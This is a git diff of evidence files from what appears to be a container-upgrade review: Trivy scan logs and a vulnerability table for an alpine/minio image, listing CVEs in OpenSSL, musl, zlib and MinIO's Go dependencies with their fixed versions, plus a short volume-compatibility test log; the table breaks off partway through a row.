docker.io/alpine/minio@sha256:cf23643a6cf9ce159c57643ceb88279e431262282428c9e0bf3a7ef1a97e84b4 +2026-11-11T11:53:41Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T11:53:41Z INFO Detected OS family="alpine" version="3.20.8" +2026-11-11T11:53:41Z INFO [alpine] Detecting vulnerabilities... os_version="3.20" repository="3.20" pkg_num=15 +2026-11-11T11:53:41Z INFO Number of language-specific files num=1 +2026-11-11T11:53:41Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T11:53:41Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. +2026-11-11T11:53:41Z WARN This OS version is no longer supported by the distribution family="alpine" version="3.20.8" +2026-11-11T11:53:41Z WARN The vulnerability detection may be insufficient because security updates are not provided + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + diff --git a/evidence/minio-volume-compat.txt b/evidence/minio-volume-compat.txt new file mode 100644 index 0000000..64f2819 --- /dev/null +++ b/evidence/minio-volume-compat.txt @@ -0,0 +1,9 @@ +Unable to find image 'python:3.12.10-slim-bookworm' locally +3.12.10-slim-bookworm: Pulling from library/python +61320b01ae5e: Already exists +be1274d3cce0: Already exists +8991c9200d62: Already exists +7a1cb8b88221: Already exists +Digest: sha256:fd95fa221297a88e1cf49c55ec1828edd7c5a428187e67b5d1805692d11588db +Status: Downloaded newer image for python:3.12.10-slim-bookworm +PASS new MinIO opened a read-only source volume copy and served an existing original via HTTPS (111817 bytes) diff --git a/evidence/trivy-minio.txt b/evidence/trivy-minio.txt index 700a3b0..0d40b68 100644 --- a/evidence/trivy-minio.txt +++ b/evidence/trivy-minio.txt @@ -1,12 +1,424 @@ Report Summary -┌──────────────────────────────────┬───────┬─────────────────┐ -│ Target │ Type │ Vulnerabilities │ -├──────────────────────────────────┼───────┼─────────────────┤ -│ /scan/image.tar (wolfi 20230201) │ wolfi │ 0 │ -└──────────────────────────────────┴───────┴─────────────────┘ +┌─────────────────────────────────┬──────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├─────────────────────────────────┼──────────┼─────────────────┤ +│ /scan/image.tar (alpine 3.20.8) │ alpine │ 19 │ +├─────────────────────────────────┼──────────┼─────────────────┤ +│ usr/local/bin/minio │ gobinary │ 76 │ +└─────────────────────────────────┴──────────┴─────────────────┘ Legend: - '-': Not scanned - '0': Clean (no security findings detected) + +/scan/image.tar (alpine 3.20.8) +=============================== +Total: 19 (HIGH: 17, CRITICAL: 2) + +┌────────────┬─────────────────┬──────────┬────────┬───────────────────┬───────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├────────────┼─────────────────┼──────────┼────────┼───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤ +│ libcrypto3 │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.3.5-r0 │ 3.3.7-r0 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.3.6-r0 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.3.7-r0 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +├────────────┼─────────────────┼──────────┤ │ │ ├──────────────────────────────────────────────────────────────┤ +│ libssl3 │ CVE-2026-31789 │ CRITICAL │ │ │ │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.3.6-r0 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.3.7-r0 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +├────────────┼─────────────────┤ │ ├───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤ +│ musl │ CVE-2026-107891 │ │ │ 1.2.5-r1 │ 1.2.5-r4 │ musl: musl: Arbitrary code execution via integer overflow in │ +│ │ │ │ │ │ │ regcomp │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107891 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40200 │ │ │ │ 1.2.5-r3 │ musl: musl libc: Arbitrary code execution and denial of │ +│ │ │ │ │ │ │ service via stack-based... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40200 │ +├────────────┼─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ musl-utils │ CVE-2026-107891 │ │ │ │ 1.2.5-r4 │ musl: musl: Arbitrary code execution via integer overflow in │ +│ │ │ │ │ │ │ regcomp │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107891 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40200 │ │ │ │ 1.2.5-r3 │ musl: musl libc: Arbitrary code execution and denial of │ +│ │ │ │ │ │ │ service via stack-based... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40200 │ +├────────────┼─────────────────┤ │ ├───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤ +│ zlib │ CVE-2026-22184 │ │ │ 1.3.1-r1 │ 1.3.2-r0 │ zlib: zlib: Arbitrary code execution via buffer overflow in │ +│ │ │ │ │ │ │ untgz utility │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-22184 │ +└────────────┴─────────────────┴──────────┴────────┴───────────────────┴───────────────┴──────────────────────────────────────────────────────────────┘ + +usr/local/bin/minio (gobinary) +============================== +Total: 76 (HIGH: 69, CRITICAL: 7) + +┌──────────────────────────────────┬─────────────────────┬──────────┬──────────┬────────────────────────────────────┬───────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├──────────────────────────────────┼─────────────────────┼──────────┼──────────┼────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/apache/thrift │ CVE-2026-41602 │ HIGH │ fixed │ v0.21.0 │ 0.23.0 │ github.com/apache/thrift: Apache Thrift: Integer Overflow in │ +│ │ │ │ │ │ │ TFramedTransport Go implementation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41602 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-43871 │ │ │ │ 0.24.0 │ thrift: Apache Thrift: Denial of Service via infinite loop │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-43871 │ +├──────────────────────────────────┼─────────────────────┤ │ ├────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/buger/jsonparser │ CVE-2026-32285 │ │ │ v1.1.1 │ 1.1.2 │ github.com/buger/jsonparser: github.com/buger/jsonparser: │ +│ │ │ │ │ │ │ Denial of Service via malformed JSON input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32285 │ +├──────────────────────────────────┼─────────────────────┤ │ ├────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/go-jose/go-jose/v4 │ CVE-2026-116587 │ │ │ v4.1.0 │ 4.1.6 │ github.com/go-jose/go-jose: go-jose: Denial of Service via │ +│ │ │ │ │ │ │ crafted RSA parameters in JWKs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-116587 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-34986 │ │ │ │ 4.1.4 │ github.com/go-jose/go-jose/v3: │ +│ │ │ │ │ │ │ github.com/go-jose/go-jose/v4: Go JOSE: Denial of Service │ +│ │ │ │ │ │ │ via crafted JSON Web Encryption... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-34986 │ +├──────────────────────────────────┼─────────────────────┤ │ ├────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/klauspost/compress │ CVE-2026-63209 │ │ │ v1.18.0 │ 1.18.7 │ github.com/klauspost/compress: klauspost/compress: Denial of │ +│ │ │ │ │ │ │ Service via integer overflow in dictionary processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-63209 │ +├──────────────────────────────────┼─────────────────────┼──────────┼──────────┼────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/minio/minio │ CVE-2026-33322 │ CRITICAL │ affected │ v0.0.0-20251015172955-9e49d5e7a648 │ │ MinIO has JWT Algorithm Confusion in OIDC Authentication │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33322 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33419 │ │ │ │ │ MinIO LDAP login brute-force via user enumeration and │ +│ │ │ │ │ │ │ missing rate limit │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33419 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-34204 │ HIGH │ │ │ │ MinIO is Vulnerable to SSE Metadata Injection via │ +│ │ │ │ │ │ │ Replication Headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-34204 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39414 │ │ │ │ │ MinIO affected a DoS via Unbounded Memory Allocation in S3 │ +│ │ │ │ │ │ │ Select CSV... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39414 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40344 │ │ │ │ │ MinIO has an Unauthenticated Object Write via Missing │ +│ │ │ │ │ │ │ Signature Verification in Unsigned-Trailer... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40344 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-41145 │ │ │ │ │ MinIO has an Unauthenticated Object Write via Query-String │ +│ │ │ │ │ │ │ Credential Signature Bypass in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41145 │ +├──────────────────────────────────┼─────────────────────┤ ├──────────┼────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/prometheus/prometheus │ CVE-2026-42151 │ │ fixed │ v0.303.0 │ 0.311.3 │ github.com/prometheus/prometheus: Prometheus: Information │ +│ │ │ │ │ │ │ disclosure of Azure OAuth client secret via config API... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42151 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42154 │ │ │ │ 0.311.3, 0.305.2 │ github.com/prometheus/prometheus: Prometheus: Denial of │ +│ │ │ │ │ │ │ Service via uncontrolled memory allocation in remote read... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42154 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/rabbitmq/amqp091-go │ CVE-2026-77405 │ CRITICAL │ │ v1.10.0 │ 1.13.0 │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Missing │ +│ │ │ │ │ │ │ Explicit TLS Minimum Version Configuration In URI Parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77405 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77408 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Silent │ +│ │ │ │ │ │ │ Data Truncation and State Corruption via Shortstr Integer... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77408 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77411 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: │ +│ │ │ │ │ │ │ Protocol Desynchronization and Frame Injection via Integer │ +│ │ │ │ │ │ │ Overflow in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77411 │ +│ ├─────────────────────┼──────────┤ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77403 │ HIGH │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Denial │ +│ │ │ │ │ │ │ of Service via AMQP frame size negotiation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77403 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77404 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: │ +│ │ │ │ │ │ │ Connection configuration overwrite via unsanitized TLS path │ +│ │ │ │ │ │ │ parameter injection... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77404 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77406 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Denial │ +│ │ │ │ │ │ │ of Service via signed-to-unsigned integer casting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77406 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77407 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: │ +│ │ │ │ │ │ │ Plaintext Credential Exposure via Exported PLAIN │ +│ │ │ │ │ │ │ Authentication Fields │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77407 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77410 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Denial │ +│ │ │ │ │ │ │ of Service via unbounded body buffer allocation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77410 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77412 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Denial │ +│ │ │ │ │ │ │ of Service via Malicious AMQP Field Length │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77412 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-79921 │ │ │ │ │ github.com/rabbitmq/amqp091-go: amqp091-go: Denial of │ +│ │ │ │ │ │ │ Service via oversized AMQP payloads │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-79921 │ +├──────────────────────────────────┼─────────────────────┤ │ ├────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ go.opentelemetry.io/otel/sdk │ CVE-2026-24051 │ │ │ v1.35.0 │ 1.40.0 │ opentelemetry-go: OpenTelemetry-Go Affected by Arbitrary │ +│ │ │ │ │ │ │ Code Execution via PATH Hijacking │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-24051 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39883 │ │ │ │ 1.43.0 │ github.com/open-telemetry/opentelemetry-go: │ +│ │ │ │ │ │ │ OpenTelemetry-Go: Arbitrary code execution via PATH │ +│ │ │ │ │ │ │ hijacking on BSD/Solaris │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39883 │ +├──────────────────────────────────┼─────────────────────┤ │ ├────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/crypto │ CVE-2025-47913 │ │ │ v0.37.0 │ 0.43.0 │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: SSH client panic due to │ +│ │ │ │ │ │ │ unexpected SSH_AGENT_SUCCESS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-47913 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39828 │ │ │ │ 0.52.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Unauthorized command execution via discarded SSH permissions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39828 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39829 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted public key with excessive parameters... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39829 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39830 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via resource leak from unsolicited SSH responses... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39830 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39831 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security │ +│ │ │ │ │ │ │ key bypass due to missing user presence check │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39831 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39832 │ │ │ │ │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: Security bypass due to │ +│ │ │ │ │ │ │ improper handling of key restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39832 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39835 │ │ │ │ │ golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Denial of Service via crafted SSH certificate │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39835 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42508 │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: golang: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: Revocation bypass via │ +│ │ │ │ │ │ │ unchecked SignatureKey │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42508 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46595 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authorization bypass due to skipped source-address │ +│ │ │ │ │ │ │ validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46595 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46597 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted AES-GCM packet decoder inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46597 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56854 │ │ │ │ 0.55.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authentication bypass due to unenforced source-address │ +│ │ │ │ │ │ │ restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56854 │ +├──────────────────────────────────┼─────────────────────┤ │ ├────────────────────────────────────┤ ├──────────────────────────────────────────────────────────────┤ +│ golang.org/x/net │ CVE-2026-25681 │ │ │ v0.39.0 │ │ golang.org/x/net/html: golang.org/x/net/html: Arbitrary code │ +│ │ │ │ │ │ │ execution via Cross-Site Scripting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25681 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27136 │ │ │ │ │ golang.org/x/net/html: golang: golang.org/x/net/html: │ +│ │ │ │ │ │ │ Cross-Site Scripting via HTML parsing bypass │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27136 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ 0.53.0 │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 0.55.0 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46600 │ │ │ │ 0.56.0 │ golang.org/x/net/dns/dnsmessage: │ +│ │ │ │ │ │ │ golang.org/x/net/dns/dnsmessage: Denial of Service via │ +│ │ │ │ │ │ │ invalid DNS record parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46600 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78661 │ │ │ │ 0.62.0 │ golang.org/x/net/html: golang.org/x/net/html: Denial of │ +│ │ │ │ │ │ │ Service via crafted HTML input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78661 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ 0.60.0 │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +├──────────────────────────────────┼─────────────────────┤ │ ├────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/text │ CVE-2026-56851 │ │ │ v0.24.0 │ 0.41.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ out-of-bounds slice error in Nickname profile... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56851 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56852 │ │ │ │ 0.39.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ invalid UTF-8 input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56852 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ google.golang.org/grpc │ CVE-2026-33186 │ CRITICAL │ │ v1.72.0 │ 1.79.3 │ google.golang.org/grpc/grpc-go: │ +│ │ │ │ │ │ │ google.golang.org/grpc/authz: gRPC-Go: Authorization bypass │ +│ │ │ │ │ │ │ due to improper HTTP/2 path validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33186 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84304 │ HIGH │ │ │ 1.83.1 │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ │ HTTP/2 DATA Frame Fragmentation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84304 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84445 │ │ │ │ 1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ 1.85.0-dev.0.20260825072537-93e31b48545e │ malformed RPC requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84445 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ GHSA-hrxh-6v49-42gf │ │ │ │ 1.82.1 │ gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities │ +│ │ │ │ │ │ │ 